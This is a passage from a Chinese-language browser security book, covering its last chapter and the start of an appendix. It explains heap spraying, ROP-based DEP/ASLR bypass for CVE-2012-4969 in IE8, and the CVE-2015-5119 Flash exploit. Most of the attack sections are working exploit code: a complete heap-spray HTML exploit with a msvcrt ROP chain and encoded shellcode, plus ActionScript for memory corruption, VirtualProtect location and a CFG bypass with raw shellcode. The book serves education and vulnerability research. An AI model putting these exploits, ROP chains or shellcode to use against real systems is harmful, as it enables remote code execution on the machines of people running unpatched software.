nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

var x = new Array();

// 用





NOP Slide+Shellcode填充





200MB内存






for (var i = 0; i < 200; i++) { 
    x[i] = nop + shellcode;
}



在第11章的例子中，崩溃触发时其附近的代码类似于：





637d464e 8b07           mov    eax,dword ptr [edi]





 
                                        ;access 0x0c0c0c0c failed






637d4650 57             push    edi
637d4651 ff5008       call    dword ptr [eax+8]



这三行代码的作用分别是：




1．从edi处取得vtable地址，存入eax；

2．将this指针压入栈中；

3．调用vtable+0x8处的函数。

C++对象的前4字节存放了指向虚表的指针，如果我们用指向Shellcode的值覆盖了这个指针，调用任何对象的虚函数都会最终执行我们的Shellcode。这就相当于我们正在构造一个假的对象，对象的vtable指向我们构造的地址。通常，我们选择使用0x0c0c来覆盖这片区域。0x0c0c的含义是or al，0Ch。这通常都不会对代码逻辑产生多大影响，可以近似认为是一个“NOP”。我们喷射的目标地址0x0c0c0c0c也在32位用户态进程可访问的空间内。

以上一节的代码为例，让我们构造一个测试用的喷射代码：

var nop = unescape("%u0c0c%u0c0c");
while (nop.length <= 0x80000) 
    nop += nop;
var shellcode = unescape("%u3412%u7856");
nop = nop.substring(0, 0x7FFED - shellcode.length);
var x = new Array();
var y = nop + shellcode;
for (var i = 0; i < 200; i++) { 
    x[i] = y.substring(0, y.length);
}


以0为起始地址计算，0x0c0c0c0c为192MB，而实际使用时，实际地址并不是0，所以喷射200MB已经足够了。将这段代码布置到漏洞触发的代码之后，形如：




trigger.htm：






<HTML>
<BODY>
<script>
    var arr = new Array();
    arr[0] = window.document.createElement("img");
    arr[0]["src"] = "1";
</script>
<iframe src="poc.htm"></iframe>
<script> /*将代码插入这里





*/ </script>
</body>
</HTML>


然后，让我们运行代码，一段时间后，IE弹出了“数据执行保护”的窗口。这证明了，代码很可能已经试图在堆上运行了。但是由于堆内存并没有可执行的属性，因此被DEP保护所拦截，就产生了如图12-4所示的这个提示框。




[image: ]
图12-4：系统的DEP保护



让我们开启WinDbg，挂上崩溃中的IE进程，关闭错误提示窗口后，可以发现代码确实已经运行到了0x0c0c0c0c处。因此，我们需要绕过DEP。

[image: ]
图12-5：代码已经走到了0x0c0c0c0c处



12.2.1　DEP/ASLR绕过

绕过DEP和ASLR已经是一个较为成熟的技术了，让我们逐个介绍。首先是DEP的绕过。DEP的基本原理是将数据所在的内存页设置为不可执行。DEP有四种工作状态——OptIn、OptOut、AlwaysOn、AlwaysOff。在系统的数据执行保护设置中，上方的选项为OptIn，下方的为OptOut。OptIn和OptOut的DEP保护均可被程序动态关闭。

[image: ]
图12-6：Win7的数据执行保护设置



在Win7下可以执行bcdedit来查看DEP启动的方式，Win7下默认是OptIn。AlwaysOn和AlwaysOff可以通过执行bcdedit/set nx alwayson（alwaysoff）来开启。

[image: ]
图12-7：bcdedit的输出结果



DEP拦截导致执行失败主要是因为系统检测到了我们的代码正在不可执行的页上运行，如果我们将代码引导到一个具有执行权限的函数中，让它代替我们执行指令，这样便可以“躲过”DEP。这种攻击方法称作ROP（Return Oriented Programming，返回导向编程），即在其他可执行的位置找到符合要求的指令，让这条指令来代替我们的代码去执行某些特定操作，执行完成后还应当有一个retn指令，这样可以方便地让代码回归Shellcode中。

因此，我们可以有这些考虑：

（1）既然OptIn和OptOut都可以动态关闭，那我们可以关闭进程的DEP保护（NtSetInformationProcess）；

（2）或者让Shellcode所在位置的代码获得可执行权限（VirtualProtect）；

（3）或是开辟一段有执行权限的空间，并将Shellcode布置上去（VirtualAlloc）。

还有许多方法，在这里我们不列出来了。这里我们选择使用第二个方法，即利用VirtualProtect函数，将Shellcode所在空间（0x0c0c0c0c）处的代码设置为可执行。MSDN中VirtualProtect[image: https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx。]

 函数的定义是：


BOOL WINAPI VirtualProtect(
    In_  LPVOID lpAddress, //要更改的地址






    In_  SIZE_T dwSize, //要更改的字节数量






    In_  DWORD  flNewProtect, //新的属性






    Out_ PDWORD lpflOldProtect //保存原始属性，需要可写






);


我们需要在内存中找到一系列的retn结尾的指令，然后将指令的地址写到栈中，这样，每执行完一条指令后，紧接着就会执行我们布置好的下一条指令
 [image: RETN相当于“POP EIP”。]

 ，一直这么执行下去，最终达到绕过DEP的目的。


由于我们可以控制堆上的内容，而堆上的内容有读写权限，因此如果我们可以把栈空间设置成堆上我们可控的内容，那么栈上将充满已经布置好的ROP部件（ROP Gadgets），这种方式称作“Stack Pivot”。

在XP SP3的IE中可以利用msvcrt.dll的代码段来提供Gadget，同时，msvcrt.dll还是一个没有开启ASLR的模块，因此如果所有的ROP Gadget全部来自没有开启ASLR模块，那么既可以绕过DEP，又可以绕过ASLR（不要忘了在Windows 7的IE8上，该漏洞也能触发，Win7中是开启了ASLR的）。

在Metasploit模块中已经有一组计算好的msvcrt的ROP（位于msf3/data/ropdb/msvcrt.xml）：

<gadgets base="0x77be0000">
    <gadget offset="0x0002b860">POP EAX # RETN</gadget>
    <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
    <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
    <gadget value="junk">JUNK</gadget>
    <gadget offset="0x0001362c">POP EBX # RETN</gadget>
    <gadget offset="0x0004d9bb">Writable location</gadget>
    <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
    <gadget offset="0x00040d13">POP EDX # RETN</gadget>
    <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
    <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
    <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
    <gadget value="junk">JUNK</gadget>
    <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
    <gadget offset="0x0002ee15">POP EBP # RETN</gadget>
    <gadget offset="0x0002ee15">skip 4 bytes</gadget>
    <gadget offset="0x0002eeef">POP ECX # RETN</gadget>
    <gadget offset="0x0004d9bb">Writable location</gadget>
    <gadget offset="0x0001a88c">POP EDI # RETN</gadget>
    <gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
    <gadget offset="0x0002a184">POP ESI # RETN</gadget>
    <gadget offset="0x0001aacc">JMP [EAX]</gadget>
    <gadget offset="0x0002b860">POP EAX # RETN</gadget>
    <gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
    <gadget offset="0x00002df9">PUSHAD # RETN</gadget>
    <gadget offset="0x00025459">ptr to 'push esp #  ret</gadget>
</gadgets> 



使用这组Gadget，便可成功地调用VirtualProtect将Shellcode所在的内存设置为可执行并最终执行到该内存。配置好ROP链，在IE8中调试可见在开始访问ROP时，栈空间分布如下：




eax=020dbe78 ebx=0000001f ecx=001ec810 edx=0000000d esi=00000000 edi=0c0c0c08
eip=77c1e393 esp=0c0c0c10 ebp=020dbe8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
msvcrt!_fprem1_common+0x205:
77c1e393 c3              ret
0:008> dds esp
0c0c0c10  77c1e392 msvcrt!_fprem1_common+0x204
0c0c0c14  77be5ed5 msvcrt!_pi_by_2_to_61+0x12db
0c0c0c18  77c0b860 msvcrt!__initstdio+0x35
0c0c0c1c  fffffee1
0c0c0c20  77bebe18 msvcrt!__isascii+0xe
0c0c0c24  2c98cf20
0c0c0c28  77bf362c msvcrt!UnDecorator::getTypeEncoding+0x43c
0c0c0c2c  77c2d9bb msvcrt!__old_small_block_heap+0x6db
0c0c0c30  77bfe071 msvcrt!_fstat64+0x2fc
0c0c0c34  77c20d13 msvcrt!_check_range_exit+0x4a
0c0c0c38  ffffffc0
0c0c0c3c  77c28fbc msvcrt!_NULL_IMPORT_DESCRIPTOR+0x138c
0c0c0c40  77bebe18 msvcrt!__isascii+0xe
0c0c0c44  204c4443
0c0c0c48  77c28fbc msvcrt!_NULL_IMPORT_DESCRIPTOR+0x138c
0c0c0c4c  77c0ee15 msvcrt!_fflush_lk+0x31
0c0c0c50  77c0ee15 msvcrt!_fflush_lk+0x31
0c0c0c54  77c0eeef msvcrt!_fflush_lk+0x10b
0c0c0c58  77c2d9bb msvcrt!__old_small_block_heap+0x6db
0c0c0c5c  77bfa88c msvcrt!__sbh_alloc_new_region+0xb5
0c0c0c60  77c09f92 msvcrt!_getptd+0x6d
0c0c0c64  77c0a184 msvcrt!_mtinit+0x5f
0c0c0c68  77bfaacc msvcrt!__sbh_resize_block+0x12c
0c0c0c6c  77c0b860 msvcrt!__initstdio+0x35
0c0c0c70  77be1120 msvcrt!_imp__VirtualProtect
0c0c0c74  77d23ad9 USER32!DefDlgProcWorker+0x24
0c0c0c78  77c21025 msvcrt!_atan_pentium4+0x28d
0c0c0c7c  f254c481
0c0c0c80  e8fcffff
0c0c0c84  00000082
0c0c0c88  31e58960
0c0c0c8c  508b64c0



该Shellcode顺利执行，最终在Gadget中跳转到VirtualProtect，查看参数，可知它已经成功地将Shellcode所在页设置为可执行了。




0:008> 
eax=77be1120 ebx=0000011f ecx=77c2d9bb edx=00000040 esi=77bfaacc edi=77c09f92
eip=77bfaacc esp=0c0c0c60 ebp=77c0ee15 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
msvcrt!__sbh_resize_block+0x12c:
77bfaacc ff20       jmp   dword ptr [eax]   ds:0023:77be1120={kernel32!VirtualProtect (7c801ad4)}
0:008> 
eax=77be1120 ebx=0000011f ecx=77c2d9bb edx=00000040 esi=77bfaacc edi=77c09f92
eip=7c801ad4 esp=0c0c0c60 ebp=77c0ee15 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
kernel32!VirtualProtect:
7c801ad4 8bff            mov     edi,edi
0:008> dds esp
0c0c0c60  77c0ee15 msvcrt!_fflush_lk+0x31
0c0c0c64  0c0c0c78
0c0c0c68  0000011f
0c0c0c6c  00000040
0c0c0c70  77c2d9bb msvcrt!__old_small_block_heap+0x6db
0c0c0c74  77be1120 msvcrt!_imp__VirtualProtect
0c0c0c78  77c21025 msvcrt!_atan_pentium4+0x28d
0c0c0c7c  f254c481


最终，程序返回到0x0c0c0cXX的代码中，因此，将我们的Shellcode放置在返回位置之后便可让负责执行calc的Shellcode执行起来。




0:008> 
eax=00000001 ebx=0000011f ecx=0c0c0c1c edx=7c92e4f4 esi=77bfaacc edi=77c09f92
eip=77c21026 esp=0c0c0c78 ebp=77be1120 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
msvcrt!_atan_pentium4+0x28e:
77c21026 c3              ret
0:008> 
eax=00000001 ebx=0000011f ecx=0c0c0c1c edx=7c92e4f4 esi=77bfaacc edi=77c09f92
eip=0c0c0c7c esp=0c0c0c7c ebp=77be1120 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0c0c0c7c 81c454f2ffff    add     esp,0FFFFF254h
0:008> p
eax=00000001 ebx=0000011f ecx=0c0c0c1c edx=7c92e4f4 esi=77bfaacc edi=77c09f92
eip=0c0c0c82 esp=0c0bfed0 ebp=77be1120 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
0c0c0c82 fc              cld
0:008> 
eax=00000001 ebx=0000011f ecx=0c0c0c1c edx=7c92e4f4 esi=77bfaacc edi=77c09f92
eip=0c0c0c83 esp=0c0bfed0 ebp=77be1120 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
0c0c0c83 e882000000      call    0c0c0d0a



完整的利用代码为（上半部分为JavaScript Heap Exploitation library
 [image: Copyright(c)2007,Alexander Sotirov.完整文件见http://tem.pw/index.php/2015/11/17/8.html。]

 ）：


<html> 
  <body> 
    <script> 
        var arrr = new Array(); 
        arrr[0] = window.document.createElement("img"); 
        arrr[0]["src"] = "H"; 
    </script> 
  
    <iframe src="iframe.html"></iframe> 
    <script> 
    function heapLib() { 
    } 
  
    heapLib.ie = function(maxAlloc, heapBase) { 
  
    this.maxAlloc = (maxAlloc ? maxAlloc : 65535); 
    this.heapBase = (heapBase ? heapBase : 0x150000); 
    this.paddingStr = "AAAA"; 
  
    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) { 
         this.paddingStr += this.paddingStr; 
    } 
    this.mem = new Array(); 
    this.flushOleaut32(); 
    } 
  
    heapLib.ie.prototype.debug = function(msg) { 
    void(Math.atan2(0xbabe, msg)); 
    } 
  
    heapLib.ie.prototype.debugHeap = function(enable) { 
  
    if (enable == true) 
         void(Math.atan(0xbabe)); 
    else 
         void(Math.asin(0xbabe)); 
    } 
  
    heapLib.ie.prototype.debugBreak = function(msg) { 
    void(Math.acos(0xbabe)); 
    } 
  
    heapLib.ie.prototype.padding = function(len) { 
    if (len > this.paddingStr.length) 
         throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available"; 
  
    return this.paddingStr.substr(0, len); 
    } 
  
    heapLib.ie.prototype.round = function(num, round) { 
    if (round == 0) 
         throw "Round argument cannot be 0"; 
  
    return parseInt((num + (round-1)) / round) * round; 
    } 
  
    heapLib.ie.prototype.hex = function(num, width) 
    { 
    var digits = "0123456789ABCDEF"; 
    var hex = digits.substr(num & 0xF, 1); 
    while (num > 0xF) { 
         num = num >>> 4; 
         hex = digits.substr(num & 0xF, 1) + hex; 
    } 
    var width = (width ? width : 0); 
    while (hex.length < width) 
         hex = "0" + hex; 
    return hex; 
    } 
  
    heapLib.ie.prototype.addr = function(addr) { 
    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4)); 
    } 
    heapLib.ie.prototype.allocOleaut32 = function(arg, tag) { 
    var size; 
    if (typeof arg == "string" || arg instanceof String) 
         size = 4 + arg.length*2 + 2; 
    else 
         size = arg; 
    if ((size & 0xf) != 0) 
         throw "Allocation size " + size + " must be a multiple of 16"; 
    if (this.mem[tag] === undefined) 
         this.mem[tag] = new Array(); 
  
    if (typeof arg == "string" || arg instanceof String) 
         this.mem[tag].push(arg.substr(0, arg.length)); 
    else 
         this.mem[tag].push(this.padding((arg-6)/2)); 
    } 
    heapLib.ie.prototype.freeOleaut32 = function(tag) { 
    delete this.mem[tag]; 
    CollectGarbage(); 
    } 
  
    heapLib.ie.prototype.flushOleaut32 = function() { 
    this.debug("Flushing the OLEAUT32 cache"); 
    this.freeOleaut32("oleaut32"); 
    for (var i = 0; i < 6; i++) { 
         this.allocOleaut32(32, "oleaut32"); 
         this.allocOleaut32(64, "oleaut32"); 
         this.allocOleaut32(256, "oleaut32"); 
         this.allocOleaut32(32768, "oleaut32"); 
    } 
    } 
  
    heapLib.ie.prototype.alloc = function(arg, tag) { 
    var size; 
    if (typeof arg == "string" || arg instanceof String) 
         size = 4 + arg.length*2 + 2;    // len + string data + null terminator 
    else 
         size = arg; 
    if (size == 32 || size == 64 || size == 256 || size == 32768) 
         throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache"; 
    this.allocOleaut32(arg, tag); 
    } 
  
    heapLib.ie.prototype.free = function(tag) { 
    this.freeOleaut32(tag); 
    this.flushOleaut32(); 
    } 
  
    heapLib.ie.prototype.gc = function() { 
    this.debug("Running the garbage collector"); 
    CollectGarbage(); 
    this.flushOleaut32(); 
    } 
  
    heapLib.ie.prototype.freeList = function(arg, count) { 
    var count = (count ? count : 1); 
    for (var i = 0; i < count; i++) { 
         this.alloc(arg); 
         this.alloc(arg, "freeList"); 
    } 
    this.alloc(arg); 
    this.free("freeList"); 
    } 
  
    heapLib.ie.prototype.lookaside = function(arg, count) { 
    var size; 
    if (typeof arg == "string" || arg instanceof String) 
         size = 4 + arg.length*2 + 2;    // len + string data + null terminator 
    else 
         size = arg; 
    if ((size & 0xf) != 0) 
         throw "Allocation size " + size + " must be a multiple of 16"; 
    if (size+8 >= 1024) 
         throw("Maximum lookaside block size is 1008 bytes"); 
    var count = (count ? count : 1); 
    for (var i = 0; i < count; i++) 
         this.alloc(arg, "lookaside"); 
    this.free("lookaside"); 
    } 
  
    heapLib.ie.prototype.lookasideAddr = function(arg) 
    { 
    var size; 
    if (typeof arg == "string" || arg instanceof String) 
         size = 4 + arg.length*2 + 2;    // len + string data + null terminator 
    else 
         size = arg; 
    if ((size & 0xf) != 0) 
         throw "Allocation size " + size + " must be a multiple of 16"; 
    if (size+8 >= 1024) 
         throw("Maximum lookaside block size is 1008 bytes"); 
    return this.heapBase + 0x688 + ((size+8)/8)*48; 
    } 
  
    heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) { 
    var size = (size ? size : 1008); 
    if ((size & 0xf) != 0) 
         throw "Vtable size " + size + " must be a multiple of 16"; 
    if (shellcode.length*2 > size-138) 
         throw("Maximum shellcode length is " + (size-138) + " bytes"); 
    var vtable = unescape("%u9090%u7ceb") 
    for (var i = 0; i < 124/4; i++) 
         vtable += this.addr(jmpecx); 
    vtable += unescape("%u0028%u0028") + shellcode + heap.padding((size-138)/2 - shellcode.length); 
    return vtable; 
    } 
  
var heap_obj = new heapLib.ie(0x20000); 
var code = unescape("%ue393%u77c1%ue392%u77c1%u5ed5%u77be%ub860%u77c0%ufee1%uffff%ube18% u77be%ucf20%u2c98%u362c%u77bf%ud9bb%u77c2%ue071%u77bf%u0d13%u77c2%uffc0%uffff%u8fbc%u77c2%ube18%u77be%u4443%u204c%u8fbc%u77c2%uee15%u77c0%uee15%u77c0%ueeef%u77c0%ud9bb%u77c2%ua88c%u77bf%u9f92%u77c0%ua184%u77c0%uaacc%u77bf%ub860%u77c0%u1120%u77be%u3ad9%u77d2%u1025%u77c2%uc481%uf254%uffff%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u905d%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%uc933%ub951%u4143%u434c%u8b51%u33cc%u43db%u5153%ud7ff"); 
var nops = unescape("%u0c0c%u0c0c"); 
  
while (nops.length < 0x80000) nops += nops; 
var offset = nops.substring(0, 0x5f4); 
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); 
  
while (shellcode.length < 0x40000) shellcode += shellcode; 
var block = shellcode.substring(0, (0x80000-6)/2); 
  
heap_obj.gc(); 
  
for (var i=1; i < 0x300; i++) { 
   heap_obj.alloc(block); 
} 
  
    </script> 
  </body> 
</html> 


在IE8中执行的效果如图12-8所示。




[image: ]
图12-8：IE启动了计算器



由于Visual Studio等编译器默认会打开DEP，随着时间的推移，新发布软件的DEP和ASLR都可能会逐渐打开，在现在Windows 7上，没有开启ASLR的模块已经比较少了，但是还是有一些模块可以使用的，例如旧版本Microsoft Office中的hxdl.dll便没有开启ASLR。

另外，还有不少常见且数量众多的ActiveX控件也没有打开ASLR，这些都可以利用。使用Process Explorer也可以查看到模块开启ASLR的状况。例如笔者的电脑上即存在没有开启ASLR的英伟达_etoured.dll、Mactype的Mactype.dll、超级旋风的QQIEHelper01.dll。

[image: ]
图12-9：未开启ASLR的模块




	
https://www.exploit-db.com/exploits/612/。返回




	
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx。返回




	
RETN相当于“POP EIP”。返回




	
Copyright(c)2007,Alexander Sotirov.完整文件见http://tem.pw/index.php/2015/11/17/8.html。返回







12.3　CVE-2015-5119的Vector

在上一章中我们提到攻击者构造的Vector的length部分第一个字节被修改为了0x40，使得它的length变为了0x4000030f，接下来，这个Vector成为了攻击者利用该漏洞的关键点，将PoC Flash反编译，让我们逐步分析一下漏洞的利用过程。

MyClass2自身包含a0~a899共900个uint成员变量。MyClass2还继承MyClass1，所以还有o1~o4这4个Object成员。在MyClass2的构造函数中可以看到，攻击者将其0号成员初始化成id方便定位，1~64号成员全部初始化成0x11223344。这个值在之后的定位中会使用到。另外将其o1设置为了this。这在之后定位地址的时候会用到。

        // constructor 
        function MyClass2(id:int) 
        { 
             o1 = this; 
             a0 = id; 
             for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; 
        } 


让我们接下来看一下攻击者是如何利用这片内存的。在CVE-2015-5119中，_va变量存储了预先申请的Vector，要找出来被覆盖的Vector在哪儿很容易，通过遍历获取Vector的length属性便可发现一个明显length不是正常值的Vector。




[image: ]
图12-10：不正常的Vector



该Vector取代了原先和MyClass2放置在一起的ByteArray。找到长度不是0x3f0的Vector之后，按索引查找0x400+70是有标志0x11223344，如果找到了，证明这个内存布局正确，下列代码中最终确定的“v”便是已经损坏的Vector。（以下代码有精简）

// 查找损坏的





Vector 
for(var j:int=0; j < _va.length; j++){ 
    v = _va[j]; 
    if (v.length != 0x3f0) { 
         logAdd("v.length = 0x" + v.length.toString(16)); 
        
         // 检查





ByteArray之后是否有





MyClass2 
         var k:int = 0x400 + 70; 
         if (v[k] == 0x11223344) { 
          // 检查通过，令





k 为





MyClass的第一个元素（





mc.a0）





 
            do k-- while (v[k] == 0x11223344); 
            var mc:MyClass2 = a[v[k]]; 
            mc.length = 0x123; 
            
            if (ShellWin32.Init(v, (v[k-4] & 0xfffff000) - 0x1000 + 8, mc, k-4)) ShellWin32. Exec(); 
} 


ShellWin32.Init第一个参数便是已损坏的v，第二个参数是v[0]的地址，计算方法为：v[k]此时为a0，a0向前4个元素为o1，不要忘记了o1存放的是this。o1的值与0xfffff000做按位与运算后得到MyClass2所在块的首地址（块的大小对齐后为0x1000，所以在这里&0xfffff000），然后减去0x1000+8后得到v[0]所指向的绝对地址。Init函数代码如下所示。




static function Init(v:Vector.<uint>, vAddr:uint, mc:MyClass2, mcOffs:uint):Boolean 
{ 
    v = v; _vAddr = vAddr; _mc = mc; _mcOffs = mcOffs; 
  
    logAdd("v[0] address = " + Hex(_vAddr)); 
        return Get(vAddr - 8) == v.length; 
} 
  
    Flash调用





FindVP函数，这个函数用来查找





VirtualProtect的位置。





 
// 用于查找





kernel32!VirtualProtect的地址





 
         static function FindVP():uint 
         { 
            try 
            { 
              // find IMAGE_DOS_HEADER 
              var u:uint, b:uint = _v[_mcOffs-3]; 
              // b = vtable pointer inside dll/exe 
  
              //b现在保存的是模块的首地址





 
              b = uint(b & 0xffff0000) - 0x400000 - _vAddr; 
                
              for(var i:uint; i < 0x90; i++, b -= 0x10000){ 
                 // check 'MZ' 
                 u = b >>> 2; 
                 if (uint(_v[u] & 0xffff) == 0x5a4d) break; 
              } 
              if (i >= 0x90) throw new Error("can't find MZ from " + Hex(_v[_mcOffs-3])); 
                
              // get IMAGE_NT_HEADERS 
              u += 15; 
              u = (b + _v[u]) >>> 2; 
              // check 'PE' 
              if (_v[u] != 0x4550) throw new Error("can't find PE"); 
                
              // get IMAGE_IMPORT_DIRECTORY 
              u += 33; 
              var size:uint = _v[u] >>> 2 
              u = uint(b + _v[--u]) >>> 2; 
                
              // find kernel32.dll 
              var v:Vector.<uint> = new Vector.<uint>(4); 
              var oft:uint, ft:uint, j:uint, k:uint; 
              u += 3; 
              for(i=3; i < size; i += 5, u += 5){ 
                 // 读取





DLL名称





 
                 j = (b + _v[u]) >>> 2; 
                 for(k=0; k < 4; k++, j++) v[k] = _v[j]; 
                    
                 // 检查





DLL名称是否正确





 
                 if (MyUtils.IsEqual(v, "KERNEL32.DLL")) { 
                      oft = _v[u-3]; ft = _v[u+1]; 
                      break; 
                 } 
              } 
                
                 if (oft == 0 || ft == 0) throw new Error("can't find kernel32"); 
                
                 // find VirtualProtect() address 
                 u = uint(b + oft) >>> 2; 
                 v.length = 5; 
        
                 for(i=0; i < 256; i++, u++){ 
                    // get proc name 
                    j = _v[u]; 
                    if (j == 0) throw new Error("can't find VirtualProtect"); 
                    j = (b + j) >>> 2; 
                    for(k=0; k < 5; k++, j++) v[k] = _v[j]; 
                    
                    // check proc name 
                    if (MyUtils.IsEqual(v, "VIRTUALPROTECT", 2) && (MyUtils._bArr. readByte() == 0)) { 
                          j = uint(b + ft + i*4) >>> 2; 
                          return _v[j]; 
                    } 
                 } 
            } 
            catch (e:Error) 
            { 
                 logAdd("FindVP() " + e.toString()); 
            } 
            
            return 0; 
        } 


然后，Flash调用VirtualProtect，设置vtable所在内存为可读可写可执行。




// corrupts Payload function and calls VirtualProtect() 
       static function CallVP(vp:uint, xAddr:uint, xLen:uint) 
       { 
         // 生成





 Payload 函数对象





 
         Payload(); 
  
         // 找到





 Payload() 中的





vtable指针





 
         var p:uint = GetAddr(Payload); 
         var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isDbg ? 0xbc:0xb0)); 
         // 保存旧指针





 
         var p1:uint = Get(ptbl); 
         var p2:uint = Get(p+0x1c); 
         var p3:uint = Get(p+0x20); 
            
         // 备份





vtable所在的地址





 
         for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4); 
         // 重定向一个指针到





 VirtualProtect() 
         _v[0x20+7] = vp; 
            
         // VirtualProtect第





1个参数





 
         Set(p+0x1c, xAddr); 
         // 第





2个参数





 
         Set(p+0x20, xLen); 
         // 第





3个参数





 ：





0x40 PAGE_EXECUTE_READWRITE 
         var args:Array = new Array(0x41);           
            
         // 替换





 Payload() 中的





vtable 
         Set(ptbl, _vAddr + 0x80); 
            
         // 调用





 VirtualProtect() 
            var res = Payload.call.apply(null, args); 
            
         // 恢复旧指针





 
         Set(ptbl, p1); 
         Set(p+0x1c, p2); 
         Set(p+0x20, p3); 
       } 


最终，通过替换Payload中MethodEnv→MethodInfo里存储的JIT后的代码地址，来绕过CFG的保护并调用Shellcode。




                // find Payload JIT code pointer 
                var payAddr:uint = GetAddr(Payload); 
                logAdd("Payload() object = " + Hex(payAddr)); 
                payAddr = Get(Get(payAddr + 0x1c) + 8) + 4; 
                var old:uint = Get(payAddr); 
  
                // replace JIT pointer by &_x32[0] 
                Set(payAddr, xAddr);       
                
                // call x32 payload 
                var res = Payload.call(null); 


程序使用的Shellcode如下，程序查找CreateProcessA的地址，并使用它调用"calc.exe"，启动计算器。Shellcode返回时，EAX存储了CreateProcessA的执行结果，该Shellcode在返回前将EAX转化为atom，如果代码有需要根据返回值再做其他特殊处理，就可以直接使用这里的返回值。


_x32:Vector.<uint> = Vector.<uint>([         
       0x83EC8B55,0x5153ACC4,0x058B6457,0x00000030, 
       0x8B0C408B,0x008B0C40,0x588B008B,0x03D88918, 
       0x508B3C40,0x8BDA0178,0xDF01207A,0x078BC931, 
       0x3881D801,0x61657243,0x78811C75,0x4173730B, 
       0x8B137500,0xD8012442, 0x4804B70F,0x011C528B, 
       0x821C03DA,0xC78309EB,0x4A3B4104, 0x8DCF7C18, 
       0x8D50F045,0x3157AC7D,0x0011B9C0,0xABF30000, 
       0x44AC45C7, 0x50000000, 0x50505050, 0x0009E850, 
       0x61630000, 0x652E636C, 0x50006578, 0x595FD3FF, 
       0x03E0C15B, 0xC906C083, 0x909090C3 
]); 


12.4　本章小结

本章中，我们介绍了Shellcode的编写方式，我们利用第8章的模板代码，介绍了执行CALC的代码应该如何编写并放置在Shellcode中。

然后，我们解决了上一章遗留的CVE-2012-4969的利用问题。我们的Shellcode经过堆喷射之后虽然到达了目标位置，但是被系统DEP拦截。因此，我们使用ROP的方式绕过DEP拦截。我们找到一个没有开启ASLR的模块，在这个模块中找到ROP Gadget，并顺利通过ROP绕过了DEP。同时，由于该模块没有ASLR，我们也潜在地绕过了ASLR。

最后，我们也分析了上一章遗留的Flash漏洞，并通过其反编译后的代码详细地分析了漏洞的成因和最终执行的效果。

感谢你的阅读，至此，本书的内容就全部结束了，浏览器安全涉及方方面面，在对浏览器进行安全审计时，也一定要照顾浏览器整个工作流程。希望本书的内容能够对你挖掘览器漏洞或分析浏览器安全问题起到一定的作用。


附录

附录A　IE（Edge）的URL截断

尽管[RFC2616]并没有限制HTTP协议的地址长度，但是IE6/7由于使用陈旧的字符串比较的方式，因此对URL长度仍然设置有上限。在wininet.h的定义中我们可以发现一个宏，名为INTERNET_MAX_URL_LENGTH。

#define INTERNET_MAX_HOST_NAME_LENGTH   256 
#define INTERNET_MAX_USER_NAME_LENGTH   128 
#define INTERNET_MAX_PASSWORD_LENGTH    128 
#define INTERNET_MAX_PORT_NUMBER_LENGTH 5           // INTERNET_PORT is unsigned short 
#define INTERNET_MAX_PORT_NUMBER_VALUE  65535       // maximum unsigned short value 
#define INTERNET_MAX_PATH_LENGTH        2048 
#define INTERNET_MAX_SCHEME_LENGTH      32          // longest protocol name length 
#define INTERNET_MAX_URL_LENGTH         (INTERNET_MAX_SCHEME_LENGTH \ 
                                        + sizeof("://") \ 
                                        + INTERNET_MAX_PATH_LENGTH) 


